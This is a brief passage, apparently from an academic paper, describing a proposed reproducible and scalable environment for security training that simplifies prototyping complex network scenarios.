education solution for security training. The proposed 
environment not only simplifies prototyping a complex 
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network scenario but also enables a reproducible 
environment that scales with the number of network 
nodes. 
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